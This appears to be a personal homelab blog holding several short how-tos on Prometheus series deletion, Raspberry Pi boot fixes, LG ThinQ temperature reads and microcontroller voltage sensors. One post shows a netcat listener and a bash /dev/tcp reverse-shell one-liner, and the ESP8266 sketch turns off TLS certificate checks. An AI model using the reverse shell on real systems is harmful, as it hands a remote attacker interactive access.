Delete promethes metrics – free disk space

My prometheus is set to hold 10years data but currently my disk is 95% full. So i want to delete some metrics that i never use.

  • First we need to enable admin web api
      containers:
      - args:
        - --config.file=/etc/prometheus/prometheus.yml
        - --storage.tsdb.path=/prometheus
        - --storage.tsdb.retention.time=3650d
        - --web.enable-admin-api
  • Delete node_load15 metrics
curl -X POST http://localhost:9090/api/v1/admin/tsdb/delete_series?match[]=node_load15

curl -X POST -g 'http://localhost:9090/api/v1/admin/tsdb/delete_series?match[]={kubernetes_pod_name!=""}'


curl -X POST http://localhost:9090/api/v1/admin/tsdb/clean_tombstones

raspberry pi boot long time – no boot / reboot issue fixed

I have raspberry pi 4 with raspbian os lite installed and the OS is directly installed on SSD which is connected with USB3.0 with connector USB-to-SATA. Whenever the power outage happens the pi some time boots and sometime it doesn’t and it also takes lots of time to boot 10min+

  • First I checked with below command what services are taking longer time and disabled docker and kubelet rpi-eeprom-update
root@lp-arm-3:~# systemd-analyze blame
1min 36.522s docker.service
     51.427s containerd.service
     50.609s rpi-eeprom-update.service
     50.590s user@1000.service
     50.221s ModemManager.service
     49.702s NetworkManager-wait-online.service
     38.108s apt-daily-upgrade.service
     32.277s dpkg-db-backup.service
      2.558s dev-sda2.device
      1.281s raspi-config.service
       670ms man-db.service
       613ms NetworkManager.service
       583ms keyboard-setup.service
       536ms systemd-logind.service
       512ms systemd-udev-trigger.service
       429ms systemd-journald.service


root@lp-arm-3:~# systemd-analyze
Startup finished in 36.419s (kernel) + 2min 33.375s (userspace) = 3min 9.794s 
multi-user.target reached after 2min 33.318s in userspace.



root@lp-arm-3:~# systemd-analyze critical-chain
The time when unit became active or started is printed after the "@" character.
The time the unit took to start is printed after the "+" character.

multi-user.target @2min 33.318s
└─kubelet.service @1min 6.646s
  └─network-online.target @55.038s
    └─NetworkManager-wait-online.service @5.315s +49.702s
      └─NetworkManager.service @4.687s +613ms
        └─dbus.service @4.552s +97ms
          └─basic.target @4.509s
            └─sockets.target @4.509s
              └─docker.socket @4.485s +23ms
                └─sysinit.target @4.468s
                  └─systemd-timesyncd.service @4.091s +375ms
                    └─systemd-tmpfiles-setup.service @3.805s +208ms
                      └─local-fs.target @3.777s
                        └─run-user-1000.mount @5.576s
                          └─local-fs-pre.target @1.650s
                            └─keyboard-setup.service @1.065s +583ms
                              └─systemd-journald.socket @1.019s
                                └─-.mount @946ms
                                  └─-.slice @946ms
  • This did not fix issue.
  • Main issue was USB SATA driver speed.
  • I enabled permanent logs for boot
journalctl --list-boots
journalctl -b -1

show only error

journalctl -b -1 -p err

Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#9 uas_eh_abort_handler 0 uas-tag 15 inflight: CMD OUT Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#9 CDB: opcode=0x2a 2a 00 01 50 21 78 00 00 08 00 Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#4 uas_eh_abort_handler 0 uas-tag 6 inflight: CMD Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#4 CDB: opcode=0x35 35 00 00 00 00 00 00 00 00 00 Feb 07 20:40:53 lp-arm-3.home kernel: scsi host0: uas_eh_device_reset_handler start Feb 07 20:40:53 lp-arm-3.home kernel: usb 2-2: reset SuperSpeed USB device number 2 using xhci_hcd Feb 07 20:40:53 lp-arm-3.home kernel: scsi host0: uas_eh_device_reset_handler success Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#8 UNKNOWN(0x2003) Result: hostbyte=0x07 driverbyte=DRIVER_OK cmd_age=61s Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#8 CDB: opcode=0x28 28 00 00 5e dc f8 00 00 10 00 Feb 07 20:40:53 lp-arm-3.home kernel: I/O error, dev sda, sector 6216952 op 0x0:(READ) flags 0x80700 phys_seg 2 prio class 2 Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#2 UNKNOWN(0x2003) Result: hostbyte=0x07 driverbyte=DRIVER_OK cmd_age=61s Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#2 CDB: opcode=0x28 28 00 02 88 f5 e0 00 00 30 00 Feb 07 20:40:53 lp-arm-3.home kernel: I/O error, dev sda, sector 42530272 op 0x0:(READ) flags 0x80700 phys_seg 6 prio class 2 Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#1 UNKNOWN(0x2003) Result: hostbyte=0x07 driverbyte=DRIVER_OK cmd_age=61s Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#1 CDB: opcode=0x28 28 00 00 5e cb c8 00 01 00 00 Feb 07 20:40:53 lp-arm-3.home kernel: I/O error, dev sda, sector 6212552 op 0x0:(READ) flags 0x80700 phys_seg 32 prio class 2 Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#3 UNKNOWN(0x2003) Result: hostbyte=0x07 driverbyte=DRIVER_OK cmd_age=61s Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#3 CDB: opcode=0x28 28 00 02 84 ee 68 00 00 50 00 Feb 07 20:40:53 lp-arm-3.home kernel: I/O error, dev sda, sector 42266216 op 0x0:(READ) flags 0x80700 phys_seg 10 prio class 2 Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#6 UNKNOWN(0x2003) Result: hostbyte=0x07 driverbyte=DRIVER_OK cmd_age=55s Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#6 CDB: opcode=0x28 28 00 02 80 6e 38 00 00 90 00 Feb 07 20:40:53 lp-arm-3.home kernel: I/O error, dev sda, sector 41971256 op 0x0:(READ) flags 0x80700 phys_seg 18 prio class 2 Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#7 UNKNOWN(0x2003) Result: hostbyte=0x07 driverbyte=DRIVER_OK cmd_age=49s Feb 07 20:40:53 lp-arm-3.home kernel: sd 0:0:0:0: [sda] tag#7 CDB: opcode=0x28 28 00 02 80 3c d0 00 00 58 00 Feb 07 20:40:53 lp-arm-3.home kernel: I/O error, dev sda, sector 41958608 op 0x0:(READ) flags 0x80700 phys_seg 11 prio class 2
  • The kernel is resetting the USB
  • Disabled UAS for SSD – fixed the issue
lsusb

#get the USB ID eg 7825:a2a4

vi /boot/firmware/cmdline.txt

append this line at the end

usb-storage.quirks=7825:a2a4:u

reboot

root@lp-arm-3:~# lsusb -t
/:  Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/4p, 5000M
    |__ Port 2: Dev 2, If 0, Class=Mass Storage, Driver=usb-storage, 5000M
/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/1p, 480M
    |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 480M

usb-storage (BOT):

sends one command at a time
waits for completion
has simpler recovery
tolerates retries and delays

Get indoor temperature from your LG AC WIFI

  • Install the pythinqconnect package
 pip3 install git+https://github.com/thinq-connect/pythinqconnect.git --break-system-packages
  • Get PAT token generated
https://connect-pat.lgthinq.com/tokens
  • Get Device id
import asyncio
from aiohttp import ClientSession
# Assuming a library structure like pythinqconnect
from thinqconnect.thinq_api import ThinQApi 

############## Get device ID ###############
async def test_devices_list():
    # Setup your credentials and personal access token (PAT)
    async with ClientSession() as session:
        thinq_api = ThinQApi(
            session=session, 
            access_token='PAT',
            country_code='',  # Example: US, KR, NL
            client_id='your_client_id'
        )
        # Fetch device list
        response = await thinq_api.async_get_device_list()
        print("device_list : %s", response)

# Run the async function
asyncio.run(test_devices_list())
  • Get temp
async def get_indoor_temperature_c():
    async with ClientSession() as session:
        api = ThinQApi(
            session=session,
            access_token="PAT",
            country_code="",
            client_id="YOUR_CLIENT_ID"
        )

        status = await api.async_get_device_status(DEVICE_ID)

        temp_c = status["temperature"]["currentTemperature"]

        print(temp_c)
        return temp_c

asyncio.run(get_indoor_temperature_c())
@home:~/Downloads/c$ python3 lg.py 
29.5

https://smartsolution.developer.lge.com/en/apiManage/device_profile?s=1734593490507#tag/overview

https://github.com/thinq-connect/pythinqconnect/tree/main

BME680 sensor permanent fix for 0x77 and 0x76 on rasp pi 5

  • After reboot the 
root@pi5:~# i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:                         -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- 76 --
  • After removing the power pin and reattaching
root@pi5:~# i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:                         -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- -- 77
  • ValueError: No I2C device at address: 0x77
  • Solutions:
  • Some BME680 boards default to 0x76 so set it as default.
  • Update the code to try both 0x76 and 0x77

onedrive cli sync with logseq data dir

[Unit]
Description=OneDrive Sync Service for alok
After=network-online.target

[Service]
User=user1
ExecStart=/usr/bin/onedrive --monitor --single-directory 'logseq'
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Reverse Shell with netcat and bash

This is un-encrypted connection

home@home:~$  netcat -v -l -p 3333
Listening on 0.0.0.0 3333
	Connection received on 192.168.122.45 44502
root@openmediavault:~# w
w
 14:20:28 up 6 min,  1 user,  load average: 0.04, 0.04, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1     -                14:14   20.00s  0.14s  0.01s w


######### On remote host(shell access you want)##########

bash -i >& /dev/tcp/192.168.0.10/8080 0>&1

Node 8266 EPS – voltage sensor – pushgateway

#include <ESP8266WiFi.h>
#include <ESP8266HTTPClient.h>

// WiFi credentials
const char* ssid = "SSID";
const char* password = "PASS";

// Prometheus Pushgateway
const char* pushgatewayHost = "https://pushgateway.example.com/metrics/job/voltage_monitor/instance/node-8266/sensor/voltage";



// Voltage divider resistors
const float R1 = 29000.0;
const float R2 = 7500.0;

// ADC config
const float ADC_RESOLUTION = 1023.0;
const float REF_VOLTAGE = 3.3;  // Adjust depending on your board
float previousVoltage = -1.0; 

void setup() {
  Serial.begin(115200);
  delay(1000);

  WiFi.begin(ssid, password);
  Serial.print("Connecting to WiFi");
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("\nConnected!");
}

void loop() {
  float voltage = readVoltage();
  if (abs(voltage - previousVoltage) > 0.01) {  // send only if change > 10 mV
    sendToPrometheus(voltage);
    previousVoltage = voltage;
  } else {
    Serial.println("⚠️ Voltage unchanged. Skipping Pushgateway update.");
  }
  delay(20000);  // Send every 20 seconds
}

float readVoltage() {
  int adcValue = analogRead(A0);
  float vOut = (adcValue / ADC_RESOLUTION) * REF_VOLTAGE;
  float vIn = vOut * ((R1 + R2) / R2);
  Serial.print("Measured Voltage: ");
  Serial.println(vIn, 3);
  return vIn;
}

void sendToPrometheus(float voltage) {
  if (WiFi.status() != WL_CONNECTED) {
    Serial.println("WiFi not connected!");
    return;
  }
  //WiFiClient client; // for http
  //HTTPClient http;
  WiFiClientSecure client;
  client.setInsecure();
  HTTPClient http;

  String metrics = "voltage_sensor " + String(voltage, 3) + "\n";
  String url = String(pushgatewayHost) ;

  // Encode Basic Auth manually
  String base64Credentials = "Base64encoded Creds";
  String authHeader = "Basic " + base64Credentials;
  http.begin(client, url);
  http.addHeader("Content-Type", "text/plain");
  http.addHeader("Authorization", authHeader);

  int httpCode = http.POST(metrics);
  if (httpCode > 0) {
    Serial.printf("Pushgateway Response: %d\n", httpCode);
  } else {
    Serial.printf("Failed to send data: %s\n", http.errorToString(httpCode).c_str());
  }

  http.end();
}

Voltage Sensor – with pico w 2

  • R1 – 7.5K
    R2 – 30K
from machine import ADC
from time import sleep

# Use ADC0 (GPIO26)
adc = ADC(26)

# Constants
VREF = 3.3              # Pico ADC reference voltage
ADC_RESOLUTION = 65535  # For read_u16() scale
DIVIDER_RATIO = 5       # Because 7.5k / (30k + 7.5k) = 0.2 → inverse is 5

def read_input_voltage():
    raw = adc.read_u16()
    v_out = (raw / ADC_RESOLUTION) * VREF
    v_in = v_out * DIVIDER_RATIO
    return round(v_in, 3)

# Main loop
while True:
    voltage = read_input_voltage()
    print("Measured Voltage:", voltage, "V")
    sleep(1)

Since the Pico ADC max is 3.3V and you’re dividing by 5: Vin max=3.3V×5=16.5VV = 3.3V \times 5 = 16.5V

Vin max​=3.3V×5=16.5V

So you can safely measure up to about 16.5 volts.